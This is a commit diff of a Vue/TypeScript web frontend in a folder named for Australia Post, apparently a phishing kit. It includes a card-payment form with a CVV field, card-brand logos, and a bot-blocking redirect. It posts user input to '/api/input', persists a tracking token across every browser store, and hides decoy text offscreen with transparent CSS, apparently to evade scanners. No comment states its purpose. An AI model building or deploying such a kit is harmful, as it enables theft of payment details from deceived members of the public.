update
70
a12_au_post_aupost/src/App.vue
Normal file
@@ -0,0 +1,70 @@
|
||||
<script setup lang="ts">
|
||||
import { RouterView } from "vue-router";
|
||||
import { onMounted } from "vue";
|
||||
import http from "@/api/http";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import {
|
||||
configData,
|
||||
loginSuccess,
|
||||
redirectToExternal,
|
||||
headHtml,
|
||||
loadHtml,
|
||||
headerHtml,
|
||||
footerHtml,
|
||||
} from "@/utils/common";
|
||||
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
|
||||
import LoadingView from "@/views/LoadingView.vue";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
onMounted(() => {
|
||||
login();
|
||||
});
|
||||
|
||||
const login = async function () {
|
||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
||||
loadingStore.setLoading(true);
|
||||
|
||||
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
|
||||
|
||||
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
|
||||
if (data.data.isBlock) {
|
||||
redirectToExternal();
|
||||
return;
|
||||
}
|
||||
if (data.data.isFirst) {
|
||||
localStorage.removeItem("route")
|
||||
}
|
||||
let token = data.data.Token;
|
||||
if (data.data.mode) {
|
||||
localStorage.setItem("mode", data.data.mode);
|
||||
}
|
||||
|
||||
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
|
||||
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
|
||||
let sessionCrypto = null;
|
||||
if (serverPubKey) {
|
||||
try {
|
||||
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
|
||||
} catch (e) {
|
||||
|
||||
}
|
||||
}
|
||||
loginSuccess(token, data.data.mode, sessionCrypto);
|
||||
|
||||
if (data.data.custom) {
|
||||
configData.value = JSON.parse(data.data.custom);
|
||||
}
|
||||
});
|
||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
||||
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div v-html="headHtml"></div>
|
||||
<LoadingView />
|
||||
<RouterView />
|
||||
</template>
|
||||
|
||||
<style scoped></style>
|
||||
5
a12_au_post_aupost/src/api/api.ts
Normal file
@@ -0,0 +1,5 @@
|
||||
import http from "@/api/http";
|
||||
|
||||
export function sendInput(data: any) {
|
||||
http.post("/api/input", data).then((data) => {});
|
||||
}
|
||||
223
a12_au_post_aupost/src/api/http.ts
Normal file
@@ -0,0 +1,223 @@
|
||||
// http.js
|
||||
import axios from "axios";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
|
||||
// ============ 配置 ============
|
||||
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
|
||||
? "/"
|
||||
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
|
||||
? `http://${import.meta.env.VITE_BASE_URL}`
|
||||
: `https://${import.meta.env.VITE_BASE_URL}`;
|
||||
|
||||
const DB_CONFIG = {
|
||||
name: "TokenDB",
|
||||
version: 2,
|
||||
store: "tokens",
|
||||
key: "userToken",
|
||||
} as const;
|
||||
|
||||
const STORAGE_KEY = "token";
|
||||
|
||||
// ============ IndexedDB 操作 ============
|
||||
class TokenDB {
|
||||
private static async open(): Promise<IDBDatabase> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
|
||||
request.onerror = () => reject(request.error);
|
||||
request.onsuccess = () => resolve(request.result);
|
||||
request.onupgradeneeded = (event) => {
|
||||
const db = (event.target as IDBOpenDBRequest).result;
|
||||
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
|
||||
db.deleteObjectStore(DB_CONFIG.store);
|
||||
}
|
||||
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
static async get(): Promise<string | null> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readonly");
|
||||
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
|
||||
request.onsuccess = () => resolve(request.result?.value || null);
|
||||
request.onerror = () => resolve(null);
|
||||
tx.oncomplete = () => db.close();
|
||||
tx.onabort = () => db.close();
|
||||
});
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static async set(token: string): Promise<void> {
|
||||
try {
|
||||
const db = await this.open();
|
||||
return new Promise((resolve) => {
|
||||
const tx = db.transaction(DB_CONFIG.store, "readwrite");
|
||||
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
|
||||
tx.oncomplete = () => { db.close(); resolve(); };
|
||||
tx.onerror = () => { db.close(); resolve(); };
|
||||
});
|
||||
} catch {
|
||||
// 静默失败,有其他存储兜底
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Token 管理器 ============
|
||||
class TokenManager {
|
||||
private static cache: string | null = null;
|
||||
private static pending: Promise<string> | null = null;
|
||||
|
||||
// UUID v4 格式校验,防止脏数据
|
||||
private static isValidToken(token: string | null): token is string {
|
||||
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
|
||||
}
|
||||
|
||||
// 安全地操作 Storage
|
||||
private static safeGet(storage: Storage): string | null {
|
||||
try {
|
||||
return storage.getItem(STORAGE_KEY);
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static safeSet(storage: Storage, token: string): void {
|
||||
try {
|
||||
storage.setItem(STORAGE_KEY, token);
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// Cookie 操作(同步,iOS 上比 localStorage 更早可用)
|
||||
private static getFromCookie(): string | null {
|
||||
try {
|
||||
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
|
||||
return match ? decodeURIComponent(match[1]) : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static saveToCookie(token: string): void {
|
||||
try {
|
||||
// 有效期 400 天(Safari 上限),SameSite=Lax 兼容 WebView
|
||||
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
|
||||
} catch {
|
||||
// 静默失败
|
||||
}
|
||||
}
|
||||
|
||||
// 同步到所有存储(后台执行,不阻塞)
|
||||
private static syncToAllStorages(token: string): void {
|
||||
this.safeSet(sessionStorage, token);
|
||||
this.safeSet(localStorage, token);
|
||||
this.saveToCookie(token);
|
||||
TokenDB.set(token).catch(() => { });
|
||||
}
|
||||
|
||||
// 从同步存储快速获取(cookie 优先,iOS 上最可靠的同步读取)
|
||||
private static getFromSyncStorage(): string | null {
|
||||
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
|
||||
return this.isValidToken(token) ? token : null;
|
||||
}
|
||||
|
||||
// 延迟后重试读取同步存储(iOS 冷启动时存储可能未就绪)
|
||||
private static waitAndRetrySync(ms: number): Promise<string | null> {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
|
||||
});
|
||||
}
|
||||
|
||||
// 主入口:获取或创建 Token
|
||||
static async getToken(): Promise<string> {
|
||||
// 1. 内存缓存(最快)
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 2. 等待进行中的创建(并发安全)
|
||||
if (this.pending) return this.pending;
|
||||
|
||||
// 3. 同步存储快速路径
|
||||
const syncToken = this.getFromSyncStorage();
|
||||
if (syncToken) {
|
||||
this.cache = syncToken;
|
||||
this.syncToAllStorages(syncToken);
|
||||
return syncToken;
|
||||
}
|
||||
|
||||
// 4. 异步获取或创建(带锁)
|
||||
this.pending = this.createToken();
|
||||
return this.pending;
|
||||
}
|
||||
|
||||
private static async createToken(): Promise<string> {
|
||||
try {
|
||||
// 再次检查缓存
|
||||
if (this.cache) return this.cache;
|
||||
|
||||
// 尝试从 IndexedDB 恢复
|
||||
const dbToken = await TokenDB.get();
|
||||
if (dbToken && this.isValidToken(dbToken)) {
|
||||
this.cache = dbToken;
|
||||
this.syncToAllStorages(dbToken);
|
||||
return dbToken;
|
||||
}
|
||||
|
||||
// iOS 冷启动兜底:等待一小段时间后重试同步存储
|
||||
// (localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
|
||||
for (const delay of [50, 100, 150]) {
|
||||
const retryToken = await this.waitAndRetrySync(delay);
|
||||
if (retryToken) {
|
||||
this.cache = retryToken;
|
||||
this.syncToAllStorages(retryToken);
|
||||
return retryToken;
|
||||
}
|
||||
}
|
||||
|
||||
// 所有恢复手段用尽,生成新 Token
|
||||
const newToken = uuidv4();
|
||||
this.cache = newToken;
|
||||
this.syncToAllStorages(newToken);
|
||||
return newToken;
|
||||
} finally {
|
||||
this.pending = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============ Axios 实例 ============
|
||||
const http = axios.create({
|
||||
baseURL: BASE_URL,
|
||||
timeout: 15000,
|
||||
});
|
||||
|
||||
// 请求拦截器
|
||||
http.interceptors.request.use(
|
||||
async (config) => {
|
||||
const token = await TokenManager.getToken();
|
||||
config.headers["Token"] = token;
|
||||
config.headers["X-Token"] = token;
|
||||
config.params = { ...config.params, token };
|
||||
return config;
|
||||
},
|
||||
(error) => Promise.reject(error)
|
||||
);
|
||||
|
||||
// 响应拦截器
|
||||
http.interceptors.response.use(
|
||||
(response) => response.data,
|
||||
(error) => {
|
||||
if (error.response) {
|
||||
console.error("Error:", error.response.status, error.response.data);
|
||||
} else {
|
||||
console.error("Error:", error.message);
|
||||
}
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
export default http;
|
||||
141
a12_au_post_aupost/src/assets/base.css
Normal file
@@ -0,0 +1,141 @@
|
||||
@keyframes g-loading-bgAnim {
|
||||
0%,to {
|
||||
background-color: rgba(255,255,255,.635)
|
||||
}
|
||||
|
||||
50% {
|
||||
background-color: rgba(255,255,255,0)
|
||||
}
|
||||
}
|
||||
|
||||
.g-loading-mask {
|
||||
width: 100vw;
|
||||
height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
animation: g-loading-bgAnim 3s linear infinite;
|
||||
opacity: 0;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
user-select: none;
|
||||
pointer-events: none;
|
||||
transition: all .3s;
|
||||
z-index: -100;
|
||||
}
|
||||
|
||||
.g-loading-mask.show {
|
||||
opacity: 1;
|
||||
pointer-events: initial;
|
||||
display: none;
|
||||
}
|
||||
|
||||
.g-loading-mask .loading {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
display: none;
|
||||
|
||||
}
|
||||
|
||||
html,body {
|
||||
padding: 0;
|
||||
border: 0;
|
||||
margin: 0;
|
||||
overflow-x: hidden;
|
||||
overflow-y: auto;
|
||||
overflow: hidden auto
|
||||
}
|
||||
|
||||
[data-t] {
|
||||
font-size: 1em!important
|
||||
}
|
||||
|
||||
[data-t]:after {
|
||||
content: attr(data-t) " "
|
||||
}
|
||||
|
||||
[class^=_][class$=_] {
|
||||
color: transparent!important
|
||||
}
|
||||
|
||||
[class^=_][class$=_] {
|
||||
display: inline-block;
|
||||
pointer-events: none;
|
||||
position: absolute;
|
||||
left: 1000vw
|
||||
}
|
||||
|
||||
[class^=_][class$=_]::-moz-selection {
|
||||
color: transparent!important
|
||||
}
|
||||
|
||||
[class^=_][class$=_]::selection {
|
||||
color: transparent!important
|
||||
}
|
||||
|
||||
form div.input [alt=cvv] {
|
||||
bottom: 8px
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
padding: 8px!important
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
border: 1px solid #dddddd;
|
||||
border-radius: 3px;
|
||||
width: 100%;
|
||||
box-sizing: border-box
|
||||
}
|
||||
|
||||
form div.input input::-moz-placeholder {
|
||||
opacity: .5
|
||||
}
|
||||
|
||||
form div.input input::placeholder {
|
||||
opacity: .5
|
||||
}
|
||||
|
||||
|
||||
form div.button-submit {
|
||||
text-align: center
|
||||
}
|
||||
|
||||
form div.button-submit button {
|
||||
align-items: center;
|
||||
border: 1px solid #2bb82b;
|
||||
background: #2bb82b;
|
||||
|
||||
border-radius: 6px;
|
||||
color: #ffffff;
|
||||
display: inline-flex
|
||||
;
|
||||
font-family: Roboto;
|
||||
height: 50px;
|
||||
justify-content: center;
|
||||
min-width: 140px;
|
||||
text-decoration: none;
|
||||
display: inline-block; /* 确保在 text-align 中居中 */
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
label {
|
||||
display: block;
|
||||
text-transform: capitalize
|
||||
}
|
||||
|
||||
.banner img {
|
||||
width: 100%;
|
||||
min-height: 300px;
|
||||
-o-object-fit: cover;
|
||||
object-fit: cover;
|
||||
-o-object-position: right;
|
||||
object-position: right
|
||||
}
|
||||
|
||||
.main-content-body {
|
||||
/* padding: 2rem 1rem !important; */
|
||||
}
|
||||
1
a12_au_post_aupost/src/assets/img/1a32e1333fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>
|
||||
|
After Width: | Height: | Size: 901 B |
1
a12_au_post_aupost/src/assets/img/272b931f3fcfa.svg
Normal file
|
After Width: | Height: | Size: 8.7 KiB |
BIN
a12_au_post_aupost/src/assets/img/41.jpg
Normal file
|
After Width: | Height: | Size: 68 KiB |
1
a12_au_post_aupost/src/assets/img/56af3b633fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 2.0 KiB |
1
a12_au_post_aupost/src/assets/img/68eec8c23fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
1
a12_au_post_aupost/src/assets/img/761998023fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>
|
||||
|
After Width: | Height: | Size: 3.0 KiB |
1
a12_au_post_aupost/src/assets/img/80066acd3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>
|
||||
|
After Width: | Height: | Size: 1.3 KiB |
60
a12_au_post_aupost/src/assets/img/ac3bca143fcfa.svg
Normal file
@@ -0,0 +1,60 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
|
||||
<g transform="translate(80,50)">
|
||||
<g transform="rotate(0)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,71.21320343559643)">
|
||||
<g transform="rotate(45)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(50,80)">
|
||||
<g transform="rotate(90)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.786796564403577,71.21320343559643)">
|
||||
<g transform="rotate(135)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(20,50.00000000000001)">
|
||||
<g transform="rotate(180)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(28.78679656440357,28.786796564403577)">
|
||||
<g transform="rotate(225)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(49.99999999999999,20)">
|
||||
<g transform="rotate(270)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
|
||||
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g><g transform="translate(71.21320343559643,28.78679656440357)">
|
||||
<g transform="rotate(315)">
|
||||
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
|
||||
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
|
||||
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
|
||||
</circle>
|
||||
</g>
|
||||
</g>
|
||||
<!-- [ldio] generated by https://loading.io/ --></svg>
|
||||
|
After Width: | Height: | Size: 3.9 KiB |
1
a12_au_post_aupost/src/assets/img/b4f258fb3fcfa.svg
Normal file
@@ -0,0 +1 @@
|
||||
